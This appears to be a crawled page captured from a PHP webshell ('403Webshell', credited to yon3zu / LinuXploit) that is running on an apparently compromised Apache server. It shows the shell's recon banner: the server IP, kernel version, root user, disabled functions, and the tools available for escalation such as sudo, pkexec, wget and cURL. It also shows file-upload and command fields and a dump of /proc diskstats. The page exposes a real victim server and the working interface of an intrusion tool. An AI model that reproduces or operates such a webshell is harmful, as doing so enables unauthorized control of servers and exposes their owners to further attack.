403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.199
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/diskstats
   7       0 loop0 1388508 0 2792048 508188 0 0 0 0 0 16936 344824
   7       1 loop1 1217022 0 2449904 608684 0 0 0 0 0 18188 496344
   7       2 loop2 956240 0 1926736 280828 0 0 0 0 0 9296 227420
   7       3 loop3 4711053 0 9441788 2314500 0 0 0 0 0 63528 2051332
   7       4 loop4 6650424 0 13314382 2826672 0 0 0 0 0 78512 2500568
   7       5 loop5 1895824 0 3805082 824244 0 0 0 0 0 25480 667800
   7       6 loop6 475473 0 962342 133584 0 0 0 0 0 4208 107532
   7       7 loop7 1223542 0 2457002 543296 0 0 0 0 0 15820 401432
 252       0 vda 330736615 1211044 19302277246 83741352 1881696439 971185313 61129937219 1832564436 0 149438636 1330246228
 252       1 vda1 330724970 1211044 19301832099 83739312 1683501684 971184918 61129906266 1802904216 0 148968560 1329918392
 252      14 vda14 2216 0 86216 388 0 0 0 0 0 0 0
 252      15 vda15 4490 0 158243 756 643 395 30953 1444 0 80 1436
 252      16 vdb 465 0 3332 20 0 0 0 0 0 0 0
   7       8 loop8 1927298 0 3859086 644468 0 0 0 0 0 18128 562312
   7       9 loop9 22 0 86 12 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit